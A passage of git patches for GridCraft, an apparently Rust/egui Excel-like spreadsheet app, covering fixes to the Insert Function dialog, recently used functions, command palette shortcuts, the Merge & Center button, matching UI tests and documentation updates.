egui::FontId::proportional(20.0)); + }); + click(&mut h, "Insert Function"); + // Some of the longest function names in the catalog, and a short one, in one list (the + // signature under the list starts with a name too, and is not a row). + h.state_mut().dialog.as_mut().unwrap().search = "forecast".into(); + h.run_steps(3); + let shapes = painted_text(&h); + let names: Vec<&(String, f32, f32)> = shapes.iter().filter(|(t, _, _)| t.starts_with("FORECAST") && !t.contains('(')).collect(); + let column = shapes.iter().filter(|(t, _, _)| t == "Statistical").map(|(_, x, _)| *x).fold(f32::INFINITY, f32::min); + assert!(names.iter().any(|(t, _, _)| t == "FORECAST.ETS.SEASONALITY"), "the long name is listed: {shapes:?}"); + for (name, x, w) in names { + assert!(x + w < column, "{name} ends at {} and the category column starts at {column}", x + w); + } +} diff --git a/docs/architecture.md b/docs/architecture.md index 67bf839f8..eb91fbd9b 100644 --- a/docs/architecture.md +++ b/docs/architecture.md @@ -1,6 +1,6 @@ # Architecture -> **Last reviewed:** 2026-10-10 · **Last updated:** 2026-10-31 · **Change:** minor (Function Library module; accent icons; earlier: the hidden names that hold macros) · **Target:** Microsoft Excel (Microsoft 365) +> **Last reviewed:** 2026-10-10 · **Last updated:** 2026-10-31 · **Change:** minor (recently used functions kept in the preferences; Function Library module; accent icons; earlier: the hidden names that hold macros) · **Target:** Microsoft Excel (Microsoft 365) How GridCraft is built today. Rules for contributors are in [`AGENTS.md`](../AGENTS.md). @@ -71,7 +71,8 @@ drawing its own: - **Function Library**: `function_library.rs` holds the function categories (engine id and label, in the Insert Function dialog's order), the function list built once from `cmd::formulas::function_list`, and the menus of Formulas › Function Library, including the - AutoSum menu that Home › Editing shares. + AutoSum menu that Home › Editing shares. Recently Used and the Insert Function dialog's Most + Recently Used category list what `formulas.recentlyUsed` returns. - **Code editor**: `widgets::code_editor(ui, id, &mut text, Lang, max_lines)` (`code_editor.rs`) edits code in the monospace font with `Tokens::syntax` colours: Python (keywords, strings including triple-quoted ones, numbers, comments, builtins) and LaTeX (commands, scripts, @@ -108,6 +109,14 @@ Actions made of many commands (macros, a debugger that runs one step per call) u a recording leaves it out, so playing the recording back never stops the run. The history limit is applied when the outermost command finishes; until then the steps made inside it are bounded on their own. +- **Recently used functions** (`recent.rs`). `Prefs::recent_functions` holds the ten functions + most recently entered in a formula, newest first. `Session::execute` updates it for every + `cell.*` and `range.*` command it journals, from any source (interface, control channel, MCP, + script). It reads at most 2,000 of the formulas a command enters, starting from the last one + (the most recent), so a large paste costs no more than that; `formulas.recentlyUsed` returns + it. It is kept with the other preferences (`prefs.json`, the browser's storage on the + web) and read leniently, so a malformed value loses only this list. It does not read the + journal back, so the journal's trimming does not affect it. - **Recording buffer** (`record.rs`). `Session::start_recording` collects each successful top-level command with the document, sheet and selection it ran in, without secret parameters. Commands run by other commands are not recorded, nor is a menu-style call that only opened a @@ -165,6 +174,7 @@ rpm, tarball), FreeBSD, and web (WASM; WebGPU or WebGL2). Release workflows in | Date | Change | Summary | |---|---|---| +| 2026-10-31 | minor | Recently used functions (`recent.rs`, `Prefs::recent_functions`) behind `formulas.recentlyUsed` | | 2026-10-31 | minor | Function Library module (`function_library.rs`); accent icons (`icons::paint_accent`, `widgets::small_button_accent`) | | 2026-10-25 | trivial | The hidden names that hold macros are `_gc_macro__` | | 2026-10-24 | minor | Macro engine on the building blocks (`macros/`, `cmd/macros.rs`) | diff --git a/docs/target-app-parity.md b/docs/target-app-parity.md index 7cee60f60..86837305b 100644 --- a/docs/target-app-parity.md +++ b/docs/target-app-parity.md @@ -1,6 +1,6 @@ # Target-app parity: GridCraft vs Microsoft Excel -> **Last reviewed:** 2026-10-11 · **Last updated:** 2026-10-25 · **Change:** minor (automation: macro interface; earlier: catalog count 276 / 292, as `cargo xtask parity` measures; automation: typed macros in the engine; several windows: a native window per workbook window, New Window on the same workbook, Arrange All; no score change) · **Target:** Microsoft Excel (Microsoft 365) +> **Last reviewed:** 2026-10-11 · **Last updated:** 2026-10-31 · **Change:** minor (the Insert Function dialog is named as in Excel; no score change; earlier: automation: macro interface; catalog count 276 / 292, as `cargo xtask parity` measures; automation: typed macros in the engine; several windows: a native window per workbook window, New Window on the same workbook, Arrange All; no score change) · **Target:** Microsoft Excel (Microsoft 365) This is the authoritative parity assessment. [`ROADMAP.md`](../ROADMAP.md) summarizes it, [`gaps.md`](gaps.md) lists every shortfall, and the area checklists hold the detail: @@ -314,7 +314,7 @@ The inventory carried over from the 2026-10-07 ROADMAP.md, updated for what land galleries (cell styles, table styles, colour palettes, conditional formatting menus), contextual Table/Chart Design tabs, formula bar with Name Box, virtualised grid (smooth scrolling, zoom, frozen panes, text overflow), sheet tabs (rename, reorder, colour, hide), - status bar with Sum/Count/Average and zoom, dialogs (Format Cells, Formula Builder, Find and + status bar with Sum/Count/Average and zoom, dialogs (Format Cells, Insert Function, Find and Replace, Sort, Name Manager, Data Validation, Paste Special…), command palette, dark mode. - Agents: every action is an engine command; JSON control channel in the desktop app (pointer, keyboard, dialogs, screenshots); MCP server (headless or bridged); CLI (`info`, `convert`, @@ -334,6 +334,7 @@ The inventory carried over from the 2026-10-07 ROADMAP.md, updated for what land | Date | Change | Summary | |---|---|---| +| 2026-10-31 | minor | The Insert Function dialog is named as in Excel (it was called Formula Builder); no score change | | 2026-10-25 | minor | Automation: macro interface (Automate › Macros, the Macros and Record Macro dialogs, the step editor, shortcuts) (no score change) | | 2026-10-25 | trivial | Catalog count 276 / 292 in the summary table and the method, as `cargo xtask parity` measures (no score change) | | 2026-10-22 | minor | Several windows on the desktop: a native window per workbook window, New Window on the same workbook, Switch Windows and Arrange All; "one window" removed from UI/UX fidelity, Hardware and the interaction-fidelity discount; no score change | diff --git a/docs/ui-parity.md b/docs/ui-parity.md index 630743d03..eaeb619ec 100644 --- a/docs/ui-parity.md +++ b/docs/ui-parity.md @@ -1,6 +1,6 @@ # UI parity -> **Last reviewed:** 2026-10-10 · **Last updated:** 2026-10-31 · **Change:** minor (Formulas › Function Library as labelled buttons with category menus; earlier: checkbox cells print as boxes; Ctrl+arrow and Ctrl+Shift+arrow while pointing a formula reference; editing a hyperlink loads its existing fields; AutoSum over a selected row puts its total to the right; ribbon catalog count 276 / 292) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 +> **Last reviewed:** 2026-10-10 · **Last updated:** 2026-10-31 · **Change:** minor (Formulas › Function Library as labelled buttons with category menus; Recently Used and the Insert Function categories; earlier: checkbox cells print as boxes; Ctrl+arrow and Ctrl+Shift+arrow while pointing a formula reference; editing a hyperlink loads its existing fields; AutoSum over a selected row puts its total to the right; ribbon catalog count 276 / 292) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 Interaction, controls and feel, against Excel. Part of [target-app-parity.md](target-app-parity.md). **UI/UX fidelity: ~55% ready, 50–80 h** (estimated). Ribbon command coverage is measured @@ -18,7 +18,7 @@ Sources: `crates/ui-egui/src` (ribbon, grid, editor, formula bar, dialogs, panes | Title bar, Quick Access Toolbar, AutoSave toggle | yes | yes | done; macOS window controls misaligned (#170), Dock icon size (#169) | | Ribbon: tabs, groups, split buttons, galleries, contextual tabs | yes | yes (Table Design, Chart Design, Format, PivotTable, Header & Footer tabs); Fill Color, Font Color and the Format Cells colour pickers end with Recent Colors and More Colors… (#928); large split buttons (Formulas › AutoSum); arrows at the card's edges scroll a tab wider than the window | done; missing contextual tabs for pictures, shapes, sparklines, slicers; groups do not collapse when narrow | | Ribbon collapse, simplified ribbon, customize ribbon/QAT | yes | partial | customization missing (File ▸ Options is the one missing File command) | -| Formulas › Function Library | Insert Function, AutoSum, Recently Used and a menu per function category | yes (10-24): a big Insert Function button and three columns of labelled small buttons, the layout Excel uses when the window is not wide enough for a big button per category; each category's book icon has its own colour; a category menu shows each function's description on hover and ends with Insert Function…, which opens the dialog on that category; More Functions cascades into Statistical, Engineering, Cube, Information, Compatibility and Web; AutoSum is a split button whose menu (Sum, Average, Count Numbers, Max, Min, More Functions…) Home › Editing shares; Recently Used has the MR key tip | the wide layout with a big button per category is not offered; Recently Used lists what `formulas.recentlyUsed` returns | +| Formulas › Function Library | Insert Function, AutoSum, Recently Used and a menu per function category | yes (10-24): a big Insert Function button and three columns of labelled small buttons, the layout Excel uses when the window is not wide enough for a big button per category; each category's book icon has its own colour; a category menu shows each function's description on hover and ends with Insert Function…, which opens the dialog on that category; More Functions cascades into Statistical, Engineering, Cube, Information, Compatibility and Web; AutoSum is a split button whose menu (Sum, Average, Count Numbers, Max, Min, More Functions…) Home › Editing shares; Recently Used has the MR key tip | the wide layout with a big button per category is not offered; a function counts as recently used once its formula is entered, not when Insert Function's OK is pressed | | Ribbon: tabs, groups, split buttons, galleries, contextual tabs | yes | yes (Table Design, Chart Design, Format, PivotTable tabs) | done; missing contextual tabs for pictures, shapes, sparklines, header/footer, slicers | | Ribbon collapse, simplified ribbon, customize ribbon/QAT | yes | partial | customization missing | | Key tips (Alt / F10 then letters) | yes, every ribbon control | **initial** (#43, 10-10): Alt or F10 shows key tips on Home for alignment, Paste Special and AutoFit plus legacy Alt sequences; other tabs and controls not yet (#33, #49) | 3–5 h | @@ -157,7 +157,8 @@ Insert Hyperlink loads an existing cell link's address, display text and ScreenT (#2876). Keeping the display text unchanged preserves the cell's number or formula; Cancel keeps the original link and an edit can be undone in one step. -Format Cells, Insert Function/Formula Builder, Find and Replace, Go To and Go To Special, Sort, +Format Cells, Insert Function (search, Most Recently Used, All and each category), Find and +Replace, Go To and Go To Special, Sort, Name Manager, Data Validation, Paste Special, Conditional Formatting manager, Page Setup, Goal Seek, Scenario Manager, Data Analysis, Forecast Sheet, Macros (macros, Automate scripts and a note on a VBA project; Run, Step Into, Edit, Create, Delete, Options), Record Macro, the macro step @@ -195,6 +196,7 @@ scrollbar bugs 2–4 · pixel/feel pass against observed Excel 7–12. | Date | Change | Summary | |---|---|---| +| 2026-10-31 | minor | Recently Used lists the functions most recently entered in a formula from any source, kept with the preferences; the Insert Function dialog is titled as in Excel, its category list (Most Recently Used, All, each category) works, and its category column follows the widest name shown | | 2026-10-31 | minor | Formulas › Function Library: Insert Function, the AutoSum split button and three columns of labelled small buttons with category colours; category menus end with Insert Function…; More Functions cascades; Home › Editing shares the AutoSum menu; MR key tip for Recently Used | | 2026-10-30 | minor | Checkbox cells print and export to PDF as boxes, as on screen: unchecked white with a grey outline, checked green with a white tick (#2972). They printed their value as TRUE or FALSE; other values in a checkbox cell still print as text | | 2026-10-29 | minor | Formula pointing from the keyboard: Ctrl+arrow (⌘arrow) moves the pointed cell to the edge of its data and Ctrl+Shift+arrow (⌘⇧arrow) extends the pointed range there, as the same keys move and extend the selection, so typing `=COUNTIF(`, clicking the top of a column and pressing ⌘⇧↓ points at the whole column of data; the keys used to move or extend by one cell. A range reaching the sheet edge is written as whole columns or rows (`A:B`). The editor reads the modifiers of the arrow's own key event, so a keystroke pressed and released within one frame (a control client's `ui.key`, an automation tool) keeps its Shift and Ctrl | From c5a80ff7918dbb169b524b572ddffdf8209cacf8 Mon Sep 17 00:00:00 2001 From: prxnvt <53838599+prxnvt@users.noreply.github.com> Date: Sun, 25 Oct 2026 02:13:09 -0400 Subject: [PATCH 131/298] UI: Insert Function lets Tab reach the category list The search box asked for the keyboard focus every frame, so Tab moved to the category list for one frame and the focus went back to the search box. The dialog now gives the search box the focus once, when it opens, through the module's take_first_focus, as the other dialogs do. Test: insert_function_lets_tab_reach_the_category_list (the search box has the focus and takes typing; after Tab the category list keeps it over several frames; Space opens the list). --- crates/ui-egui/src/dialogs.rs | 4 +++- crates/ui-egui/src/dialogs/insert_function.rs | 5 ++-- crates/ui-egui/src/dialogs/show.rs | 2 +- crates/ui-egui/tests/it/function_library.rs | 24 +++++++++++++++++++ 4 files changed, 31 insertions(+), 4 deletions(-) diff --git a/crates/ui-egui/src/dialogs.rs b/crates/ui-egui/src/dialogs.rs index 6eccc48eb..2bbb2eba2 100644 --- a/crates/ui-egui/src/dialogs.rs +++ b/crates/ui-egui/src/dialogs.rs @@ -856,7 +856,9 @@ impl Dialog { "insertFunction" => { // A Function Library menu opens it on its own category. let category = p("category").as_str().unwrap_or(crate::function_library::MOST_RECENTLY_USED).to_string(); - Dialog::custom("insertFunction", "Insert Function", json!({"category": category})) + let mut d = Dialog::custom("insertFunction", "Insert Function", json!({"category": category})); + d.focus_first_field = true; + d } "find" => { let mut d = Dialog::custom("find", "Find and Replace", json!({"what": "", "with": "", "within": "sheet", "lookIn": "formulas"})); diff --git a/crates/ui-egui/src/dialogs/insert_function.rs b/crates/ui-egui/src/dialogs/insert_function.rs index a77de272b..6a93530f7 100644 --- a/crates/ui-egui/src/dialogs/insert_function.rs +++ b/crates/ui-egui/src/dialogs/insert_function.rs @@ -1,4 +1,4 @@ -use super::show::ok_cancel; +use super::show::{ok_cancel, take_first_focus}; use super::{Dialog, Json, SheetApp, json, vec2}; /// Insert Function: search names (as the formula language spells them) and descriptions, or pick @@ -10,7 +10,8 @@ pub(super) fn insert_function(app: &mut SheetApp, ui: &mut egui::Ui, d: &mut Dia ui.horizontal(|ui| { ui.label(language.tr("Search:")); let r = ui.add(egui::TextEdit::singleline(&mut d.search).desired_width(300.0).hint_text(language.tr("e.g. lookup, average, date"))); - r.request_focus(); + // Once only, so Tab can move on to the category list. + take_first_focus(d, &r); }); // A new search (typed, or set through the control channel) looks through every function, as // Excel's does. diff --git a/crates/ui-egui/src/dialogs/show.rs b/crates/ui-egui/src/dialogs/show.rs index 071a94e5b..a2e452fb0 100644 --- a/crates/ui-egui/src/dialogs/show.rs +++ b/crates/ui-egui/src/dialogs/show.rs @@ -464,7 +464,7 @@ fn form(ui: &mut egui::Ui, d: &mut Dialog, confirm: &mut bool, open: &mut bool) /// Enter sets the width, as in Excel. /// Keeps asking until the field really has focus: a new window's first frame is an invisible /// sizing pass where a focus request is ignored. -fn take_first_focus(d: &mut Dialog, r: &egui::Response) { +pub(super) fn take_first_focus(d: &mut Dialog, r: &egui::Response) { if !d.focus_first_field { return; } diff --git a/crates/ui-egui/tests/it/function_library.rs b/crates/ui-egui/tests/it/function_library.rs index 3d8a37d5e..dd86f4652 100644 --- a/crates/ui-egui/tests/it/function_library.rs +++ b/crates/ui-egui/tests/it/function_library.rs @@ -239,6 +239,30 @@ fn insert_function_has_its_title_and_a_working_category_list() { assert_ne!(h.state().session.prefs.recent_functions[0], "XLOOKUP"); } +#[test] +fn insert_function_lets_tab_reach_the_category_list() { + use egui::accesskit::Role; + let mut h = formulas_tab(1440.0); + click(&mut h, "Insert Function"); + h.run_steps(3); + let search_focused = |h: &Harness| h.get_all_by_role(Role::TextInput).any(|n| n.is_focused()); + assert!(search_focused(&h), "the search box takes the focus when the dialog opens"); + h.input_mut().events.push(Event::Text("npv".into())); + h.run_steps(2); + assert_eq!(h.state().dialog.as_ref().map(|d| d.search.as_str()), Some("npv")); + // Tab moves on to the category list, and the search box does not take the focus back. + h.input_mut().events.extend([key_event(Key::Tab, true), key_event(Key::Tab, false)]); + h.run_steps(5); + assert!(h.get_by_role(Role::ComboBox).is_focused(), "Tab reaches the category list"); + assert!(!search_focused(&h)); + // The list opens from the keyboard (its Date & Time joins the ribbon's). + let listed = |h: &Harness| h.get_all_by_label("Date & Time").count(); + let before = listed(&h); + h.input_mut().events.extend([key_event(Key::Space, true), key_event(Key::Space, false)]); + h.run_steps(3); + assert_eq!(listed(&h), before + 1, "the list is open"); +} + /// The text shapes the last frame painted, with their left edge and width. fn painted_text(h: &Harness) -> Vec<(String, f32, f32)> { let mut out = Vec::new(); From 513f19ded300e31267750591d8a32a3cf411f5ff Mon Sep 17 00:00:00 2001 From: AnhNgoo <110978888+AnhNgoo@users.noreply.github.com> Date: Sat, 31 Oct 2026 15:14:23 +0700 Subject: [PATCH 132/298] fix(ui): show macOS group shortcuts in command palette --- crates/ui-egui/src/dialogs/command_search.rs | 3 +++ crates/ui-egui/tests/it/dialog_focus.rs | 4 ++++ 2 files changed, 7 insertions(+) diff --git a/crates/ui-egui/src/dialogs/command_search.rs b/crates/ui-egui/src/dialogs/command_search.rs index c2396b345..7a80985b3 100644 --- a/crates/ui-egui/src/dialogs/command_search.rs +++ b/crates/ui-egui/src/dialogs/command_search.rs @@ -38,6 +38,9 @@ pub(super) fn command_search(app: &mut SheetApp, ui: &mut egui::Ui, d: &mut Dial (false, "edit.pasteSpecial", Some(_)) => Some("Ctrl+Alt+V".to_owned()), // These metadata shortcuts are only bound on macOS. (false, "home.alignLeft" | "home.alignCenter", Some(_)) => None, + // macOS uses Command+Shift+K/J, unlike the engine's Windows metadata. + (true, "data.group", Some(_)) => Some("Cmd+Shift+K".to_owned()), + (true, "data.ungroup", Some(_)) => Some("Cmd+Shift+J".to_owned()), (_, _, keys) => keys.map(str::to_string), }, ) diff --git a/crates/ui-egui/tests/it/dialog_focus.rs b/crates/ui-egui/tests/it/dialog_focus.rs index f3c5db9ec..53fb6c933 100644 --- a/crates/ui-egui/tests/it/dialog_focus.rs +++ b/crates/ui-egui/tests/it/dialog_focus.rs @@ -104,6 +104,8 @@ fn command_search_shows_engine_shortcuts() { ("home.alignCenter", if os == OperatingSystem::Mac { "Center (Cmd+E)" } else { "Center Home" }), ("selection.row", "Select Entire Row (Shift+Space)"), ("selection.column", "Select Entire Column (Ctrl+Space)"), + ("data.group", if os == OperatingSystem::Mac { "Group (Cmd+Shift+K)" } else { "Group (Alt+Shift+Right)" }), + ("data.ungroup", if os == OperatingSystem::Mac { "Ungroup (Cmd+Shift+J)" } else { "Ungroup (Alt+Shift+Left)" }), ] { h.state_mut().dialog.as_mut().unwrap().search = query.into(); h.run_steps(3); @@ -152,6 +154,8 @@ fn command_palette_shortcuts_come_from_engine_metadata() { ("selection.currentRegion", "Ctrl+Shift+8"), ("home.alignLeft", "Cmd+L"), ("home.alignCenter", "Cmd+E"), + ("data.group", "Alt+Shift+Right"), + ("data.ungroup", "Alt+Shift+Left"), ] { let command = commands.iter().find(|c| c.id == id).unwrap(); assert_eq!(command.shortcut, Some(expected), "{id}"); From 671e194bb9e69bc25b5b92c4b314a119dc1d83fb Mon Sep 17 00:00:00 2001 From: NetterSilver <133535268+Silvertree2010@users.noreply.github.com> Date: Sat, 31 Oct 2026 11:37:17 +0100 Subject: [PATCH 133/298] Make the Merge & Center ribbon label part of its split button Fixes #2920 Co-Authored-By: Claude Haiku 5.5 Co-Authored-By: Claude Sonnet 5.5 --- crates/ui-egui/src/ribbon/home.rs | 7 ++- crates/ui-egui/tests/it/main.rs | 1 + crates/ui-egui/tests/it/merge_center_label.rs | 51 +++++++++++++++++++ 3 files changed, 55 insertions(+), 4 deletions(-) create mode 100644 crates/ui-egui/tests/it/merge_center_label.rs diff --git a/crates/ui-egui/src/ribbon/home.rs b/crates/ui-egui/src/ribbon/home.rs index 72fce56cb..c061dfac3 100644 --- a/crates/ui-egui/src/ribbon/home.rs +++ b/crates/ui-egui/src/ribbon/home.rs @@ -5,7 +5,7 @@ use super::controls::{ use super::galleries::{cell_style_gallery, table_gallery}; use super::{ HAlign, Icon, Key, Modifiers, Rect, SheetApp, Style, Tokens, Ui, VAlign, big_button, color_palette, icon_button, json, keytip_table, - small_button, split_button, theme, toggle_button, vec2, + small_button, small_split_button, split_button, theme, toggle_button, vec2, }; /// The Accounting Number Format dropdown: label and the code Excel applies for that symbol. @@ -292,12 +292,11 @@ pub(super) fn home(app: &mut SheetApp, ui: &mut Ui) { if __k.clicked() { act(app, "home.increaseIndent", json!({})); } - let (m, ma) = split_button(ui, Icon::Merge, None, "Merge & Center"); + let (m, ma) = small_split_button(ui, Icon::Merge, "Merge & Center", "Merge & Center"); control_keytip(app, ui, &ma, "home.mergeCenter"); - if m { + if m.clicked() { act(app, "home.mergeCenter", json!({})); } - ui.label(egui::RichText::new(app.ui.language.tr("Merge & Center")).font(theme::ui_font(12.5))); egui::Popup::menu(&ma).show(|ui| { menu_items( app, diff --git a/crates/ui-egui/tests/it/main.rs b/crates/ui-egui/tests/it/main.rs index 302bc9c49..b683f125d 100644 --- a/crates/ui-egui/tests/it/main.rs +++ b/crates/ui-egui/tests/it/main.rs @@ -63,6 +63,7 @@ mod keytips_generated; mod macro_editor; mod macros_ui; mod menu_hover; +mod merge_center_label; mod merged_cells; mod more_colors; mod native_print; diff --git a/crates/ui-egui/tests/it/merge_center_label.rs b/crates/ui-egui/tests/it/merge_center_label.rs new file mode 100644 index 000000000..16cb0e798 --- /dev/null +++ b/crates/ui-egui/tests/it/merge_center_label.rs @@ -0,0 +1,51 @@ +//! Home › Merge & Center is a split button: clicking its text label runs `home.mergeCenter`, like +//! its icon does. + +use egui::{Event, Shape, vec2}; +use gridcraft_engine::Session; +use gridcraft_ui_egui::SheetApp; +use gridcraft_ui_egui::i18n::Language; +use serde_json::json; + +#[test] +fn clicking_the_label_merges_and_centers() { + for language in [Language::En, Language::De] { + click_label(language); + } +} + +fn click_label(language: Language) { + let label = language.tr("Merge & Center"); + let mut s = Session::new(); + s.new_workbook(); + s.execute("selection.set", json!({"range": "A1:B1"})).unwrap(); + let mut h = crate::common::builder().with_size(vec2(1400.0, 800.0)).build_ui_state( + |ui, app: &mut SheetApp| { + app.logic(ui.ctx()); + app.ui(ui); + }, + { + let mut app = crate::common::app(s); + app.ui.language = language; + app + }, + ); + h.run_steps(4); + let at = h + .output() + .shapes + .iter() + .find_map(|s| match &s.shape { + Shape::Text(t) if t.galley.job.text == label => Some(t.pos + t.galley.size() / 2.0), + _ => None, + }) + .unwrap_or_else(|| panic!("the Home tab shows {label}")); + h.input_mut().events.push(Event::PointerMoved(at)); + h.run_steps(2); + for pressed in [true, false] { + h.input_mut().events.push(Event::PointerButton { pos: at, button: egui::PointerButton::Primary, pressed, modifiers: egui::Modifiers::NONE }); + h.run_steps(2); + } + h.run_steps(2); + assert!(h.state().session.journal.iter().any(|(id, _)| id == "home.mergeCenter"), "{label}"); +} From 590d5e449275729569826ffa4598cb2bfa0af23a Mon Sep 17 00:00:00 2001 From: prxnvt <53838599+prxnvt@users.noreply.github.com> Date: Sat, 31 Oct 2026 07:03:16 -0400 Subject: [PATCH 134/298] UI: Insert Function: Enter on the category list doesn't confirm the dialog egui clicks a focused control on Enter as on Space, so Enter on the focused category list opened it, and the dialog's OK handling took the same key press and inserted the selected function. Enter in the open list did the same while picking a category. The dialog now leaves Enter to the category list while the list has the focus or its menu is open (or was open as the frame started, since Enter on a row closes it in that frame). Enter in the search box or on the function list still confirms. Test: function_library::enter_on_the_category_list_does_not_confirm_insert_function tabs to the list, presses Enter (the list opens, the dialog stays open, nothing is inserted), presses Enter again in the open list (still open, nothing inserted), then Shift+Tab back to the search box, where Enter confirms. --- crates/ui-egui/src/dialogs/insert_function.rs | 13 +++++-- crates/ui-egui/tests/it/function_library.rs | 35 +++++++++++++++++++ 2 files changed, 46 insertions(+), 2 deletions(-) diff --git a/crates/ui-egui/src/dialogs/insert_function.rs b/crates/ui-egui/src/dialogs/insert_function.rs index 6a93530f7..38a695a80 100644 --- a/crates/ui-egui/src/dialogs/insert_function.rs +++ b/crates/ui-egui/src/dialogs/insert_function.rs @@ -29,7 +29,10 @@ pub(super) fn insert_function(app: &mut SheetApp, ui: &mut egui::Ui, d: &mut Dia } else { lib::category_id(&saved).map(lib::category_label).unwrap_or(MOST_RECENTLY_USED).to_string() }; - ui.horizontal(|ui| { + // The category list is the dialog's only menu, so a menu open as the frame starts is its own + // (Enter on a row picks it and closes the menu in this frame). + let menu_was_open = egui::Popup::is_any_open(ui.ctx()); + let picker = ui.horizontal(|ui| { let label = ui.label(language.tr("Or select a category:")); craft_ui::ComboBox::from_id_salt("insertFunctionCategory") .width(220.0) @@ -40,8 +43,14 @@ pub(super) fn insert_function(app: &mut SheetApp, ui: &mut egui::Ui, d: &mut Dia } }) .response - .labelled_by(label.id); + .labelled_by(label.id) }); + // Enter on the category list or in its menu opens it or picks a category, as Space does + // (egui clicks a focused control on either key); it does not also confirm the dialog. + let picker = picker.inner; + if menu_was_open || picker.has_focus() || craft_ui::ComboBox::is_open(ui.ctx(), picker.id) { + ui.input_mut(|i| i.consume_key(egui::Modifiers::NONE, egui::Key::Enter)); + } if category != saved { d.list_index = 0; } diff --git a/crates/ui-egui/tests/it/function_library.rs b/crates/ui-egui/tests/it/function_library.rs index dd86f4652..a1a7a1a37 100644 --- a/crates/ui-egui/tests/it/function_library.rs +++ b/crates/ui-egui/tests/it/function_library.rs @@ -263,6 +263,41 @@ fn insert_function_lets_tab_reach_the_category_list() { assert_eq!(listed(&h), before + 1, "the list is open"); } +#[test] +fn enter_on_the_category_list_does_not_confirm_insert_function() { + use egui::accesskit::Role; + let mut h = formulas_tab(1440.0); + click(&mut h, "Insert Function"); + h.run_steps(3); + let open = |h: &Harness| h.state().dialog.as_ref().is_some_and(|d| d.name == "insertFunction"); + let listed = |h: &Harness| h.get_all_by_label("Date & Time").count(); + let closed = listed(&h); + h.input_mut().events.extend([key_event(Key::Tab, true), key_event(Key::Tab, false)]); + h.run_steps(5); + assert!(h.get_by_role(Role::ComboBox).is_focused(), "Tab reaches the category list"); + // Enter on the focused list opens it, as Space does; the dialog stays open and nothing is + // inserted. + h.input_mut().events.extend([key_event(Key::Enter, true), key_event(Key::Enter, false)]); + h.run_steps(3); + assert!(open(&h), "Enter on the category list leaves the dialog open"); + assert_eq!(editor_text(&h), None, "no function is inserted"); + assert_eq!(listed(&h), closed + 1, "Enter opens the list"); + // Enter again, with the list open, closes it and still does not confirm. + h.input_mut().events.extend([key_event(Key::Enter, true), key_event(Key::Enter, false)]); + h.run_steps(3); + assert!(open(&h), "Enter in the open list leaves the dialog open"); + assert_eq!(editor_text(&h), None); + // Back in the search box (Shift+Tab), Enter confirms as before. + let shift_tab = |pressed| Event::Key { key: Key::Tab, physical_key: None, pressed, repeat: false, modifiers: Modifiers::SHIFT }; + h.input_mut().events.extend([shift_tab(true), shift_tab(false)]); + h.run_steps(3); + assert!(!h.get_by_role(Role::ComboBox).is_focused(), "Shift+Tab leaves the category list"); + h.input_mut().events.extend([key_event(Key::Enter, true), key_event(Key::Enter, false)]); + h.run_steps(3); + assert!(!open(&h), "Enter in the search box confirms"); + assert!(editor_text(&h).is_some_and(|t| t.starts_with('=') && t.ends_with('(')), "{:?}", editor_text(&h)); +} + /// The text shapes the last frame painted, with their left edge and width. fn painted_text(h: &Harness) -> Vec<(String, f32, f32)> { let mut out = Vec::new(); From 67e39faeea1fa4b603cbab421a30737db2cef8d9 Mon Sep 17 00:00:00 2001 From: Brandon Thomas Date: Sat, 31 Oct 2026 10:17:29 -0400 Subject: [PATCH 135/298] Review fixes: describe the YEARFRAC, MOD and PERCENTRANK changes in function-parity --- docs/function-parity.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/docs/function-parity.md b/docs/function-parity.md index 369fffa55..40ad424bc 100644 --- a/docs/function-parity.md +++ b/docs/function-parity.md @@ -1,6 +1,6 @@ # Function parity: worksheet functions and formulas -> **Last reviewed:** 2026-10-31 · **Last updated:** 2026-10-31 · **Change:** minor (edge cases matched to Excel: base conversions, BITLSHIFT/BITRSHIFT, UNICHAR noncharacters, UPPER/LOWER/PROPER casing, FIXED/DOLLAR output, F/T/GAMMA/WEIBULL/BETA distributions, BINOM trial cap, HARMEAN; earlier: function edge-case parity row; earlier: function edge-case parity row; earlier: function edge-case parity row; earlier: ECMA.CEILING listed with USDOLLAR as not on Microsoft's list; earlier: IMSQRT reproduces the stray real part Excel gives for negative reals) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 +> **Last reviewed:** 2026-10-31 · **Last updated:** 2026-10-31 · **Change:** minor (YEARFRAC basis 0 February-end rule, MOD quotient limit, PERCENTRANK significance; earlier: edge cases matched to Excel: base conversions, BITLSHIFT/BITRSHIFT, UNICHAR noncharacters, UPPER/LOWER/PROPER casing, FIXED/DOLLAR output, F/T/GAMMA/WEIBULL/BETA distributions, BINOM trial cap, HARMEAN; earlier: ECMA.CEILING listed with USDOLLAR as not on Microsoft's list; earlier: IMSQRT reproduces the stray real part Excel gives for negative reals) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 Excel's worksheet functions, category by category, against GridCraft's function library. Part of [target-app-parity.md](target-app-parity.md); gaps feed [gaps.md](gaps.md). @@ -150,7 +150,7 @@ workbooks; results checked in as data, not Excel files) and fixing what it finds | 2026-10-31 | minor | BINOM.DIST and BINOM.DIST.RANGE reject trial counts above 2,147,483,646 after truncation | | 2026-10-31 | minor | BETA.DIST density returns `#NUM!` at the lower endpoint with alpha less than or equal to 1 and upper endpoint with beta less than or equal to 1; cumulative behavior is unchanged | | 2026-10-31 | minor | HARMEAN returns `#N/A` when array or reference inputs contain no numbers; nonpositive numeric observations remain `#NUM!` | -| 2026-10-30 | minor | Added a function edge-case parity row. | +| 2026-10-31 | minor | YEARFRAC basis 0 tests the end-31 rule against the original start day; MOD returns `#NUM!` from a quotient of 1.1259E12; PERCENTRANK returns `#DIV/0!` from significance 309 and 15 significant digits from 15 (Excel 16) | | 2026-10-27 | minor | ECMA.CEILING added to the functions that are in our library but not on Microsoft's list (with USDOLLAR), so the counts don't change | | 2026-10-26 | minor | IMSQRT uses Excel's polar route with its cosine reduction, so `IMSQRT("-4")` is `1.22514845490862E-16+2i` as in Excel (exact `2i` before); the rows list the IM* differences still open | | 2026-10-25 | minor | LAMBDA row: a LAMBDA that calls itself more than 140 times, and a formula nested past the depth limit, give `#NUM!` (#1809; nesting gave `#CALC!` before). `=Foo(1)` where the defined name Foo holds `#N/A` gives `#N/A`, not `#NAME?` | From 81aee9e075836cddf14ca63aba0ea082fb1d7498 Mon Sep 17 00:00:00 2001 From: Max Murphy Date: Sat, 31 Oct 2026 16:41:24 +0100 Subject: 